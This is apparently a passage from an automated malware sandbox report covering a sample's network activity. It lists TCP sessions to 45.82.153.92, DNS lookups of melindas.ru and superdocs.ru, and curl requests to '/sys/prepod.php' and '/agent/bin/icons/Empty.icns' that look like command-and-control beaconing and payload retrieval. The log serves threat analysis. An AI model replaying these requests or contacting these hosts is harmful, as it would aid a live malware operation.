                                      Aug 24, 2022 11:19:53.059640884 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.059866905 CEST4434935045.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:53.060095072 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.060116053 CEST4434935045.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:53.060333967 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.061095953 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.104758024 CEST4434935045.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:53.220988035 CEST4434935045.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:53.221031904 CEST4434935045.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:53.221096039 CEST4434935045.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:53.221185923 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.221327066 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.221349001 CEST4434935045.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:53.221357107 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.221364975 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.221370935 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.221380949 CEST4434935045.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:53.221385956 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.221390963 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.221395016 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.221400976 CEST4434935045.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:53.221404076 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.221407890 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.221472979 CEST4434935045.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:53.221661091 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.221673012 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.221735954 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.221740961 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.221744061 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.221748114 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.221750975 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.372504950 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.374062061 CEST49350443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:53.374100924 CEST4434935045.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:55.648854971 CEST49351443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:55.648919106 CEST4434935145.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:55.649215937 CEST49351443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:56.568969965 CEST49352443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:56.569021940 CEST4434935245.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:56.569173098 CEST49352443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:56.693938971 CEST49352443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:56.693975925 CEST4434935245.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:56.802136898 CEST4434935245.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:56.802297115 CEST49352443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:56.808063984 CEST49352443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:56.808090925 CEST4434935245.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:56.810870886 CEST49352443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:56.810897112 CEST4434935245.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:56.813659906 CEST4434935245.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:56.814003944 CEST49352443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:56.814018011 CEST49352443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:56.814024925 CEST49352443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:56.857748032 CEST49352443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:56.861423969 CEST49352443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:56.861664057 CEST4434935245.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:56.861880064 CEST49352443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:56.861901999 CEST4434935245.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:56.862124920 CEST49352443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:56.864444017 CEST49352443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:56.904761076 CEST4434935245.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:56.951003075 CEST4434935245.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:56.951102018 CEST4434935245.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:56.951262951 CEST49352443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:56.951281071 CEST49352443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:56.969609976 CEST49352443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:56.969645023 CEST4434935245.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:57.271604061 CEST49351443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.271650076 CEST4434935145.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:57.343599081 CEST49353443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.343636036 CEST4434935345.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:57.343842030 CEST49353443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.376221895 CEST4434935145.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:57.376359940 CEST49351443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.585294962 CEST49353443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.585311890 CEST4434935345.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:57.614178896 CEST49351443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.614214897 CEST4434935145.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:57.657444000 CEST49351443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.657471895 CEST4434935145.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:57.660244942 CEST4434935145.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:57.660518885 CEST49351443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.660532951 CEST49351443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.660538912 CEST49351443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.689719915 CEST4434935345.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:57.689968109 CEST49353443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.697266102 CEST49353443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.697277069 CEST4434935345.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:57.702769995 CEST49353443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.702779055 CEST4434935345.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:57.705631018 CEST4434935345.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:57.705965996 CEST49353443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.705976009 CEST49353443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.705982924 CEST49353443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.751152039 CEST49353443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.754213095 CEST49353443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.754398108 CEST4434935345.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:57.754544973 CEST49353443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.754560947 CEST4434935345.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:57.754751921 CEST49353443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.757780075 CEST49353443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.800759077 CEST4434935345.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:57.835326910 CEST4434935345.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:57.835417986 CEST4434935345.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:57.835505009 CEST49353443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.835608959 CEST49353443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.853385925 CEST49353443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:57.853404999 CEST4434935345.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:58.170231104 CEST49354443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.170279980 CEST4434935445.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:58.170470953 CEST49354443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.413130045 CEST49354443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.413150072 CEST4434935445.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:58.568773031 CEST4434935445.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:58.568922997 CEST49354443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.575944901 CEST49354443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.575954914 CEST4434935445.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:58.578816891 CEST49354443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.578825951 CEST4434935445.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:58.581732035 CEST4434935445.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:58.582092047 CEST49354443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.582099915 CEST49354443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.582106113 CEST49354443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.625619888 CEST49351443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.632591963 CEST49354443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.635691881 CEST49354443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.635869026 CEST4434935445.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:58.636163950 CEST49354443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.636176109 CEST4434935445.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:58.636343956 CEST49354443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.638278961 CEST49354443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.668318033 CEST49351443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.668549061 CEST4434935145.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:58.668768883 CEST49351443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.668791056 CEST4434935145.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:58.669040918 CEST49351443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.680759907 CEST4434935445.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:58.711393118 CEST49351443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.716185093 CEST4434935445.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:58.716279030 CEST4434935445.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:58.716339111 CEST49354443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.716525078 CEST49354443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.733973980 CEST49354443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.733994007 CEST4434935445.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:58.752759933 CEST4434935145.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:58.814258099 CEST4434935145.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:58.814352989 CEST4434935145.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:58.814470053 CEST49351443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.814584017 CEST49351443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.991036892 CEST49355443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:58.991086960 CEST4434935545.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:58.991240025 CEST49355443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:59.233500004 CEST49355443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:59.233536959 CEST4434935545.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:59.340147018 CEST4434935545.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:59.340307951 CEST49355443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:59.347309113 CEST49355443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:59.347336054 CEST4434935545.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:59.349675894 CEST49355443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:59.349703074 CEST4434935545.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:59.352446079 CEST4434935545.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:59.352730036 CEST49355443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:59.352744102 CEST49355443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:59.352756977 CEST49355443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:59.397974968 CEST49355443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:59.400983095 CEST49355443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:59.401204109 CEST4434935545.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:59.401408911 CEST49355443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:59.401431084 CEST4434935545.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:59.401669979 CEST49355443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:59.403839111 CEST49355443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:59.417853117 CEST49351443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:59.417886972 CEST4434935145.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:59.444761992 CEST4434935545.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:59.485918999 CEST4434935545.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:59.486010075 CEST4434935545.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:59.486167908 CEST49355443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:59.486263990 CEST49355443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:59.504190922 CEST49355443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:59.504226923 CEST4434935545.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:59.826649904 CEST49356443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:19:59.826697111 CEST4434935645.82.153.92192.168.0.53
                                      Aug 24, 2022 11:19:59.826848984 CEST49356443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.065885067 CEST49356443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.065921068 CEST4434935645.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:00.170123100 CEST4434935645.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:00.170413971 CEST49356443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.177131891 CEST49356443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.177159071 CEST4434935645.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:00.183073044 CEST49356443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.183100939 CEST4434935645.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:00.185866117 CEST4434935645.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:00.186178923 CEST49356443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.186192989 CEST49356443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.186198950 CEST49356443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.232245922 CEST49356443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.235371113 CEST49356443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.235594034 CEST4434935645.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:00.235802889 CEST49356443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.235824108 CEST4434935645.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:00.236059904 CEST49356443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.241095066 CEST49356443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.284759045 CEST4434935645.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:00.314999104 CEST4434935645.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:00.315089941 CEST4434935645.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:00.315182924 CEST49356443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.315311909 CEST49356443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.334294081 CEST49356443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.334327936 CEST4434935645.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:00.591183901 CEST49357443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.591214895 CEST4434935745.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:00.591428995 CEST49357443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.836463928 CEST49357443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.836499929 CEST4434935745.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:00.943459034 CEST4434935745.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:00.943619967 CEST49357443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.950467110 CEST49357443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.950494051 CEST4434935745.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:00.953155994 CEST49357443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.953183889 CEST4434935745.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:00.955926895 CEST4434935745.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:00.956248045 CEST49357443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.956260920 CEST49357443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:00.956267118 CEST49357443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:01.001300097 CEST49357443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:01.004086018 CEST49357443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:01.004308939 CEST4434935745.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:01.004527092 CEST49357443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:01.004548073 CEST4434935745.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:01.004791975 CEST49357443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:01.007087946 CEST49357443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:01.048759937 CEST4434935745.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:01.088079929 CEST4434935745.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:01.088181019 CEST4434935745.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:01.088217020 CEST49357443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:01.088310957 CEST49357443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:01.105143070 CEST49357443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:01.105176926 CEST4434935745.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:02.252722979 CEST49358443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:02.252778053 CEST4434935845.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:02.253027916 CEST49358443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:02.707401991 CEST49358443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:02.707421064 CEST4434935845.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:02.817349911 CEST4434935845.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:02.817508936 CEST49358443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:02.821609974 CEST49358443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:02.821636915 CEST4434935845.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:02.823764086 CEST49358443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:02.823791027 CEST4434935845.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:02.826653004 CEST4434935845.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:02.827027082 CEST49358443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:02.827040911 CEST49358443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:02.827047110 CEST49358443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:02.850905895 CEST49358443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:02.852227926 CEST49358443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:02.852442026 CEST4434935845.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:02.852709055 CEST49358443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:02.852732897 CEST4434935845.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:02.852963924 CEST49358443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:02.853595972 CEST49358443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:02.896759033 CEST4434935845.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:02.968292952 CEST4434935845.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:02.968389988 CEST4434935845.82.153.92192.168.0.53
                                      Aug 24, 2022 11:20:02.968449116 CEST49358443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:02.968627930 CEST49358443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:02.978013992 CEST49358443192.168.0.5345.82.153.92
                                      Aug 24, 2022 11:20:02.978034019 CEST4434935845.82.153.92192.168.0.53

                                      UDP Packets

                                      TimestampSource PortDest PortSource IPDest IP
                                      Aug 24, 2022 11:18:40.659018040 CEST5466153192.168.0.538.8.8.8
                                      Aug 24, 2022 11:18:40.724740982 CEST53546618.8.8.8192.168.0.53
                                      Aug 24, 2022 11:18:43.112756968 CEST6208153192.168.0.538.8.8.8
                                      Aug 24, 2022 11:18:43.268984079 CEST53620818.8.8.8192.168.0.53

                                      ICMP Packets

                                      TimestampSource IPDest IPChecksumCodeType
                                      Aug 24, 2022 11:18:43.269479036 CEST192.168.0.5345.82.153.92e2b7Echo
                                      Aug 24, 2022 11:18:43.321131945 CEST45.82.153.92192.168.0.53eab7Echo Reply
                                      Aug 24, 2022 11:18:44.049618959 CEST192.168.0.5345.82.153.9233e4Echo
                                      Aug 24, 2022 11:18:44.101528883 CEST45.82.153.92192.168.0.533be4Echo Reply

                                      DNS Queries

                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                      Aug 24, 2022 11:18:40.659018040 CEST192.168.0.538.8.8.80x3724Standard query (0)melindas.ruA (IP address)IN (0x0001)
                                      Aug 24, 2022 11:18:43.112756968 CEST192.168.0.538.8.8.80x477cStandard query (0)superdocs.ruA (IP address)IN (0x0001)

                                      DNS Answers

                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                      Aug 24, 2022 11:18:40.724740982 CEST8.8.8.8192.168.0.530x3724No error (0)melindas.ru45.82.153.92A (IP address)IN (0x0001)
                                      Aug 24, 2022 11:18:43.268984079 CEST8.8.8.8192.168.0.530x477cNo error (0)superdocs.ru45.82.153.92A (IP address)IN (0x0001)

                                      HTTP Request Dependency Graph

                                      • melindas.ru
                                      • superdocs.ru

                                      HTTPS Proxied Packets

                                      Session IDSource IPSource PortDestination IPDestination Port
                                      0192.168.0.534930145.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:18:40 UTC0OUTGET / HTTP/1.1
                                      Host: melindas.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      2022-08-24 09:18:41 UTC0INHTTP/1.1 403 Forbidden
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:18:41 GMT
                                      Content-Type: text/html
                                      Content-Length: 162
                                      Connection: close
                                      2022-08-24 09:18:41 UTC0INData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                      Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      1192.168.0.534930245.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:18:41 UTC0OUTGET /sys/prepod.php HTTP/1.1
                                      Host: melindas.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Usr: pedro
                                      2022-08-24 09:18:41 UTC0INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:18:41 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:18:41 UTC0INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      10192.168.0.534931145.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:02 UTC61OUTGET /agent/bin/icons/Empty.icns HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      2022-08-24 09:19:02 UTC61INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:02 GMT
                                      Content-Type: application/octet-stream
                                      Content-Length: 31308
                                      Last-Modified: Thu, 18 Aug 2022 07:36:55 GMT
                                      Connection: close
                                      ETag: "62fdec17-7a4c"
                                      Accept-Ranges: bytes
                                      2022-08-24 09:19:02 UTC61INData Raw: 69 63 6e 73 00 00 7a 4c 69 63 31 32 00 00 00 ad 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 5f 49 44 41 54 78 01 ed d0 01 0d 00 00 00 c2 a0 f7 4f 6d 0e 37 88 40 61 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c bc 0f 0c 40 40 00 01 16 41 98 eb 00 00 00 00 49 45 4e 44 ae 42 60 82 69 63 30 37 00 00 01 84 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 80 00 00 00 80 08 06 00 00 00 c3 3e 61 cb 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 01 36 49 44 41 54 78 01 ed d0 31 01 00 00 00 c2 a0 f5
                                      Data Ascii: icnszLic12PNGIHDR@@iqsRGB_IDATxOm7@a0`0`0`0`0`0`0`@@AIENDB`ic07PNGIHDR>asRGB6IDATx1
